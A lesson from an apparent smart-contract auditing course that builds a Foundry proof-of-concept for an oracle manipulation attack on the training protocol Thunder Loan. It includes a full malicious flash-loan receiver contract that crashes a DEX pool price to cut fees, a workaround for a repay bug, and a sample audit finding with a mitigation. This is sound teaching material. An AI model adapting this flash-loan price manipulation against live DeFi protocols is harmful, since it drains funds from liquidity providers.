_Follow along with the video lesson:_ --- ### Exploit - Oracle Manipulation - Thunder Loan PoC Now that we've learnt so much about `oracle manipulation` attacks, we can return to our code base. Now, when we see this, we immediately know there's an issue relying on Dex reserves as an oracle. ```js uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision; ``` A possible reason the `Thunder Loan` protocol didn't detect any issues with TSwap is likely due to how poor their mocks are constructed. They don't actually mimick any of the logic of the Dex and thus would be unable to see how the price would change over time. I've created new mocks we can use in our test (though often you'll have to build these yourself!) - [**BuffMockTSwap**](https://github.com/Cyfrin/6-thunder-loan-audit/blob/audit-data/test/mocks/BuffMockTSwap.sol) - [**BuffMockPoolFactory**](https://github.com/Cyfrin/6-thunder-loan-audit/blob/audit-data/test/mocks/BuffMockPoolFactory.sol) Take a look at them, these are just stripped down versions of `TSwap` and `PoolFactory` to make them a little bit easier to work with. Alright, this will be a very advanced test, we're going to do a lot. The reason we're doing this is **_BECAUSE_** it's advanced. Hacks can be very complex and include a tonne of different actions and transactions, so you've really got to 'git gud' at this process and learn to appreciate how even small actions like reducing fees on a flash loan. Spoiler: All this work is going to result in `medium`, but it's an issue that needs reporting and you'll soon see why. To begin writing our test we'll have to set up some contracts, we should begin with adding these additional imports: ```js import { ERC20Mock } from "../mocks/ERC20Mock.sol"; import { BuffMockTSwap } from "../mocks/BuffMockTSwap.sol"; import { BuffMockPoolFactory } from "../mocks/BuffMockPoolFactory.sol"; import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol"; import { IERC20 } from "../../lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol"; ``` ### 1. Setup Contracts Start by deploying the required instances of our imported contracts. ```js function testOracleManipulation() public { // 1. Setup contracts thunderLoan = new ThunderLoan(); tokenA = new ERC20mock(); proxy = new ERC1967Proxy(address(thunderLoan), ""); BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth)); // Create a TSwap Dex between WETH/ TokenA and initialize Thunder Loan address tswapPool = pf.createPool(address(tokenA)); thunderLoan = ThunderLoan(address(proxy)); thunderLoan.initialize(address(pf)); } ``` With the contracts setup in our test, let's consider what ou next steps are going to be. 2. Fund TSwap - We need to assure the TSwap Liquidity Pool has funding 3. Fund ThunderLoan - ThunderLoan needs to be funded with tokens to be borrowed 4. Execute 2 flash loans 1. Nuke the price of the weth/tokenA on TSwap 2. Show that doing so greatly reduces the fees paid on ThunderLoan Next step is funding TSwap! ### 2. Fund TSwap ```js // 2. Fund TSwap vm.startPrank(liquidityProvider); tokenA.mint(liquidityProvider, 100e18); tokenA.approve(address(tswapPool), 100e18); weth.mint(liquidityProvider, 100e18); weth.approve(address(tswapPool), 100e18); ``` In the above, we're pranking our liquidityProvider and having them mint and approve both WETH and TokenA for tswapPool. We can just deposit everything into TSwap now. ```js BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.timestamp); vm.stopPrank(); ``` By depositing everything our ratio is going to be `100 WETH : 100 TokenA` or `1:1`. ### 3. Fund ThunderLoan <details> <summary>testOracleManipulation</summary> ```js function testOracleManipulation() public { // 1. Setup contracts thunderLoan = new ThunderLoan(); tokenA = new ERC20mock(); proxy = new ERC1967Proxy(address(thunderLoan), ""); BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth)); // Create a TSwap Dex between WETH/ TokenA and initialize Thunder Loan address tswapPool = pf.createPool(address(tokenA)); thunderLoan = ThunderLoan(address(proxy)); thunderLoan.initialize(address(pf)); //2 Fund TSwap vm.startPrank(liquidityProvider); tokenA.mint(liquidityProvider, 100e18); tokenA.approve(address(tswapPool), 100e18); weth.mint(liquidityProvider, 100e18); weth.approve(address(tswapPool), 100e18); BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.timestamp); vm.stopPrank(); } ``` </details> Next, let's add the funding for ThunderLoan to our test. Before we're able to do that, if you recall from earlier, ThunderLoan needs to have allowed our tokens. We can do this by pranking the owner and calling `setAllowedToken` and passing `true`, easy enough. ```js vm.prank(thunderLoan.owner()); thunderLoan.setAllowedToken(tokenA, true); ``` Now fund the protocol. ```js vm.startPrank(liquidityProvider); tokenA.mint(liquidityProvider, 1000e18); tokenA.approve(address(thunderLoan), 1000e18); thunderLoan.deposit(tokenA, 1000e18); vm.stopPrank(); ``` Ok! At this point we should have: - 100 WETH and 100 TokenA on TSwap - 1000 TokenA in ThunderLoan ### 4. Execute 2 Flash Loans Now comes the fun part, breaking things! How're we going to accomplish this? - Step 1: Take out a flash loan of 50 tokenA - Step 2: Swap it on the Dex. This will drastically alter the token ratio of the pool. - Step 3: Take out _another_ flash loan to illustrate how much cheaper the fee is. Let's dive in. This will give us a good fee baseline to compare subsequent flashloans to. ```js uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA, 100e18); console2.log("Normal Fee is:", normalFeeCost); // Normal Fee is: 0.296147410319118389 ``` ### MaliciousFlashLoanReceiver Then we can set up the loans. But before we do this, remember how the flash loan is handled: ```js receiverAddress.functionCall( abi.encodeCall( IFlashLoanReceiver.executeOperation, (address(token), amount, fee, msg.sender, // initiator params) ) ); ``` We need to write a new contract to be able to execute our swaps! We can start a new contract directly in the ThunderLoanTest.t.sol file. ```js contract MaliciousFlashLoanReceiver is IFlashLoanReceiver { ThunderLoan thunderLoan; address repayAddress; BuffMockTSwap tswapPool; // 1. Swap TokenA borrowed for WETH // 2. Take out a second flash loan to compare fees constructor(address _tswapPool, address _thunderLoan, address _repayAddress) { tswapPool = BuffMockTSwap(_tswapPool); thunderLoan = ThunderLoan(_thunderLoan); repayAddress = _repayAddress; } function executeOperation( address token, uint256 amount, uint256 fee, address,/*initiator*/ bytes calldata /*params*/ ) external returns (bool) { return true; } } ``` The function call triggered in our receiver, by the flashloan execution, necessitates that our receiver contract contains an executeOperation function. It's within this function that we need to perform all of our actions with the loan. We're going to need to: - swap borrowed TokenA for WETH - Take out a second loan to compare fees to Because we're calling two loans, our executeOperation function is going to be called twice. We can prevent issues by creating a mutex lock for the function. Let's also create variables with which to assign the two fees we generate. ```js bool attacked; uint256 feeOne; uint256 feeTwo; ... function executeOperation( address token, uint256 amount, uint256 fee, address,/*initiator*/ bytes calldata /*params*/ ) external returns(bool) { if(!attacked){ feeOne = fee; attacked = true; uint256 wethBought = tswapPool.getOutputAmountBasedOnInput(50e18, 100e18, 100e18); IERC20(token).approve((address(tswapPool), 50e18)); // Tanks the price: tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18, wethBought, block,timestamp); } else { // calculate the fee and repay } return true; } ``` Already our executeOperation function is getting complicated! We're acquiring the amount of WETH to swap for through the `getOutputAmountBasedOnInput` function and ultimately performing the swap for this amount, in exchange for our 50e18 poolTokens. This swap is going to drastically affect the price of WETH/tokenA on TSwap. Time to add our second flash loan and determine how the fee is affected. This loan will be the exact same. ```js if(!attacked){ feeOne = fee; attacked = true; uint256 wethBought = tswapPool.getOutputAmountBasedOnInput(50e18, 100e18, 100e18); IERC20(token).approve(address(tswapPool), 50e18); // Tanks the price: tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18, wethBought, block.timestamp); // Takes second identical flash loan thunderLoan.flashloan(address(this), IERC20(token), amount, ""); // repay } else{ // calculate the fee and repay feeTwo = fee; } return true; ``` Without addressing repayment yet, but calling `flashloan` a second time, we would expect `attacked` to be true, and thus our conditional should fail. In the else block of this statement, we can now acquire feeTwo and then repay the flash loan. All that's left is adding the repayment logic to our executeOperation function. We can call the repay function from thunderLoan to achieve this in both branches of our conditional check. ```js IERC20(token).approve(address(thunderLoan), amount + fee); thunderLoan.repay(IERC20(token), amount + fee); ``` Here's what our attack contract should look like now: <details> <summary> MaliciousFlashLoanReceiver</summary> ```js contract MaliciousFlashLoanReceiver is IFlashLoanReceiver { ThunderLoan thunderLoan; address repayAddress; BuffMockTSwap tswapPool; bool attacked; uint256 feeOne; uint256 feeTwo; // 1. Swap TokenA borrowed for WETH // 2. Take out a second flash loan to compare fees constructor(address _tswapPool, address _thunderLoan, address _repayAddress) { tswapPool = BuffMockTSwap(_tswapPool); thunderLoan = ThunderLoan(_thunderLoan); repayAddress = _repayAddress; } function executeOperation( address token, uint256 amount, uint256 fee, address,/*initiator*/ bytes calldata /*params*/ ) external returns (bool) { if(!attacked){ feeOne = fee; attacked = true; uint256 wethBought = tswapPool.getOutputAmountBasedOnInput(50e18, 100e18, 100e18); IERC20(token).approve(address(tswapPool), 50e18); // Tanks the price: tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18, wethBought, block.timestamp); IERC20(token).approve(address(thunderLoan), amount + fee); thunderLoan.repay(IERC20(token), amount + fee); } else { // calculate the fee and repay feeTwo = fee; IERC20(token).approve(address(thunderLoan), amount + fee); thunderLoan.repay(IERC20(token), amount + fee); } return true; } } ``` </details> ### Back to our Test Now that we have our `Malicious Receiver` contract we can deploy one of these in our `testOracleManipulation` test. ```js // 4. Execute 2 Flash Loans uint256 amountToBorrow = 50e18; MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver( address(tswapPool), address(thunderLoan), address(thunderLoan.getAssetFromToken(tokenA)) ); ``` Now we just need to finally execute our `flashloan` call! I'm going to add our console logs and assert statement at this stage as well. We expect the `attackFee` to be less than the `normalFeeCost`. ```js vm.startPrank(user); tokenA.mint(address(flr), 50e18); thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, ""); // the executeOperation function of flr will // actually call flashloan a second time. vm.stopPrank(); uint256 attackFee = flr.feeOne() + flr.feeTwo(); console2.log("Attack Fee is:", attackFee); assert(attackFee < normalFeeCost); ``` Alright, we're ready to run this test - but ironically, after all this work, I'm going to tell you this isn't going to work. đ The whole test for reference: <details> <summary>testOracleManipulation</summary> ```js function testOracleManipulation() public { // 1. Setup contracts thunderLoan = new ThunderLoan(); tokenA = new ERC20Mock(); proxy = new ERC1967Proxy(address(thunderLoan), ""); BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth)); // Create a TSwap Dex between WETH/ TokenA and initialize Thunder Loan address tswapPool = pf.createPool(address(tokenA)); thunderLoan = ThunderLoan(address(proxy)); thunderLoan.initialize(address(pf)); // 2. Fund TSwap vm.startPrank(liquidityProvider); tokenA.mint(liquidityProvider, 100e18); tokenA.approve(address(tswapPool), 100e18); weth.mint(liquidityProvider, 100e18); weth.approve(address(tswapPool), 100e18); BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.timestamp); vm.stopPrank(); // 3. Fund ThunderLoan vm.prank(thunderLoan.owner()); thunderLoan.setAllowedToken(tokenA, true); vm.startPrank(liquidityProvider); tokenA.mint(liquidityProvider, 100e18); tokenA.approve(address(thunderLoan), 100e18); thunderLoan.deposit(tokenA, 100e18); vm.stopPrank(); uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA, 100e18); console2.log("Normal Fee is:", normalFeeCost); // 4. Execute 2 Flash Loans uint256 amountToBorrow = 50e18; MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver( address(tswapPool), address(thunderLoan), address(thunderLoan.getAssetFromToken(tokenA)) ); vm.startPrank(user); tokenA.mint(address(flr), 100e18); thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, ""); // the executeOperation function of flr will // actually call flashloan a second time. vm.stopPrank(); uint256 attackFee = flr.feeOne() + flr.feeTwo(); console2.log("Attack Fee is:", attackFee); assert(attackFee < normalFeeCost); } ``` </details> Let's run our test command and you'll see why. ```bash forge test --mt testOracleManipulation -vvv ``` ::image{src='/security-section-6/40-exploit-oracle-manipulation-thunderloan-poc/exploit-oracle-manipulation-thunderloan-poc1.png' style='width: 100%; height: auto;'} Oh no! As expected. It looks like our repay function is failing and the reason: **_ThunderLoan doesn't think it's flash loaning!_** This is arguably a separate finding itself. ThunderLoan isn't able to support repayments while second flash loan is taking place. We can see why in the repay function itself. ```js if (!s_currentlyFlashLoaning[token]) { revert ThunderLoan__NotCurrentlyFlashLoaning(); } ``` The first flash loan a user executes is going to complete, setting `s_currentlyFlashLoaning[token]` to false, which means any subsequent repayment attempts won't acknowledge that subsequent flash loans have been taken! I would absolutely report this as a low severity finding. ```js // @Audit-Low: Unable to use repay to repay a flash loan inside of another flash loan. ``` Fortunately, to get around this tangential bug, we can avoid calling the repay function entirely. Thunder Loan's flashloan function is only checking the final balance of the AssetToken contract, there's no reason we can't adjust our test such that we just call transfer instead. ```js // IERC20(token).approve(address(thunderLoan), amount + fee); // IThunderLoan(address(thunderLoan)).repay(token, amount + fee); // We repay the flash loan via transfer since the repay function won't let us! IERC20(token).transfer(address(repayAddress), amount + fee); ``` ### Moment of Truth With that final adjustment made (and a side bug uncovered!), we're ready to run the test once more and hopefully uncover our suspected fee issue... ```bash forge test --mt testOracleManipulation -vvv ``` ::image{src='/security-section-6/40-exploit-oracle-manipulation-thunderloan-poc/exploit-oracle-manipulation-thunderloan-poc2.png' style='width: 100%; height: auto;'} There's nearly a 30% loss in fees demonstrated by our test! Let's consider the severity of an issue like this... - **Impact:** Medium/Low - Users are receiving cheaper fees - **Likelihood:** High - incentivized, complex but not too difficult This is looking like a medium severity finding to me. This may sound like it's been a lot of work for a medium, but that's often the way it is. We have to put in the effort to make the protocol as secure and appealing to users as we can. ### Wrap Up This extensive PoC we've constructed should absolutely be added to a report in our findings.md. I'm not going to walk you through writing this report, but I encourage you to write it yourself and compare your work with the example provided below. Putting in the leg work to build this muscle memory is paramount to sharpening these skills. <details> <summary>[M-2] Using TSwap as price oracle leads to price and oracle manipulation attacks</summary> ### [M-2] Using TSwap as price oracle leads to price and oracle manipulation attacks **Description:** The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees. **Impact:** Liquidity providers will drastically reduced fees for providing liquidity. **Proof of Concept:** The following all happens in 1 transaction. 1. User takes a flash loan from `ThunderLoan` for 1000 `tokenA`. They are charged the original fee `fee1`. During the flash loan, they do the following: 1. User sells 1000 `tokenA`, tanking the price. 2. Instead of repaying right away, the user takes out another flash loan for another 1000 `tokenA`. 1. Due to the fact that the way `ThunderLoan` calculates price based on the `TSwapPool` this second flash loan is substantially cheaper. ```javascript function getPriceInWeth(address token) public view returns (uint256) { address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token); @> return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth(); } ``` 3. The user then repays the first flash loan, and then repays the second flash loan. Add the following to ThunderLoanTest.t.sol. <details> <summary>Proof of Code:</summary> ```js function testOracleManipulation() public { // 1. Setup contracts thunderLoan = new ThunderLoan(); tokenA = new ERC20Mock(); proxy = new ERC1967Proxy(address(thunderLoan), ""); BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth)); // Create a TSwap Dex between WETH/ TokenA and initialize Thunder Loan address tswapPool = pf.createPool(address(tokenA)); thunderLoan = ThunderLoan(address(proxy)); thunderLoan.initialize(address(pf)); // 2. Fund TSwap vm.startPrank(liquidityProvider); tokenA.mint(liquidityProvider, 100e18); tokenA.approve(address(tswapPool), 100e18); weth.mint(liquidityProvider, 100e18); weth.approve(address(tswapPool), 100e18); BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.timestamp); vm.stopPrank(); // 3. Fund ThunderLoan vm.prank(thunderLoan.owner()); thunderLoan.setAllowedToken(tokenA, true); vm.startPrank(liquidityProvider); tokenA.mint(liquidityProvider, 100e18); tokenA.approve(address(thunderLoan), 100e18); thunderLoan.deposit(tokenA, 100e18); vm.stopPrank(); uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA, 100e18); console2.log("Normal Fee is:", normalFeeCost); // 4. Execute 2 Flash Loans uint256 amountToBorrow = 50e18; MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver( address(tswapPool), address(thunderLoan), address(thunderLoan.getAssetFromToken(tokenA)) ); vm.startPrank(user); tokenA.mint(address(flr), 100e18); thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, ""); // the executeOperation function of flr will // actually call flashloan a second time. vm.stopPrank(); uint256 attackFee = flr.feeOne() + flr.feeTwo(); console2.log("Attack Fee is:", attackFee); assert(attackFee < normalFeeCost); } contract MaliciousFlashLoanReceiver is IFlashLoanReceiver { ThunderLoan thunderLoan; address repayAddress; BuffMockTSwap tswapPool; bool attacked; uint256 public feeOne; uint256 public feeTwo; // 1. Swap TokenA borrowed for WETH // 2. Take out a second flash loan to compare fees constructor(address _tswapPool, address _thunderLoan, address _repayAddress) { tswapPool = BuffMockTSwap(_tswapPool); thunderLoan = ThunderLoan(_thunderLoan); repayAddress = _repayAddress; } function executeOperation( address token, uint256 amount, uint256 fee, address, /*initiator*/ bytes calldata /*params*/ ) external returns (bool) { if (!attacked) { feeOne = fee; attacked = true; uint256 wethBought = tswapPool.getOutputAmountBasedOnInput(50e18, 100e18, 100e18); IERC20(token).approve(address(tswapPool), 50e18); // Tanks the price: tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18, wethBought, block.timestamp); // Second Flash Loan! thunderLoan.flashloan(address(this), IERC20(token), amount, ""); // We repay the flash loan via transfer since the repay function won't let us! IERC20(token).transfer(address(repayAddress), amount + fee); } else { // calculate the fee and repay feeTwo = fee; // We repay the flash loan via transfer since the repay function won't let us! IERC20(token).transfer(address(repayAddress), amount + fee); } return true; } } ``` </details> **Recommended Mitigation:** Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle. </details> What a finding - and this was only a medium! In the process of uncovering this though, we've definitely started to think about a few other vectors we may not have considered.. We don't need to call repay for example - what vulnerabilities might we uncover pursuing this line of attack? We'll have to find out! We've gone over so much while uncovering and defining this oracle manipulation attack, we absolutely need to go through a quick recap of it all, in the next lesson. See you there!
Patrick walks through a proof of code for our identified oracle manipulation vulnerability.
Previous lesson
Previous
Next lesson
Next
Give us feedback
Solidity Developer
Smart Contract SecurityDuration: 25min
Duration: 1h 18min
Duration: 35min
Duration: 2h 28min
Duration: 5h 03min
Duration: 5h 22min
Duration: 4h 33min
Duration: 2h 01min
Duration: 1h 40min
Testimonials
Read what our students have to say about this course.
Chainlink
Chainlink
Gustavo Gonzalez
Solutions Engineer at OpenZeppelin
Francesco Andreoli
Lead Devrel at Metamask
Albert Hu
DeForm Founding Engineer
Radek
Senior Developer Advocate at Ceramic
Boidushya
WalletConnect
Idris
Developer Relations Engineer at Axelar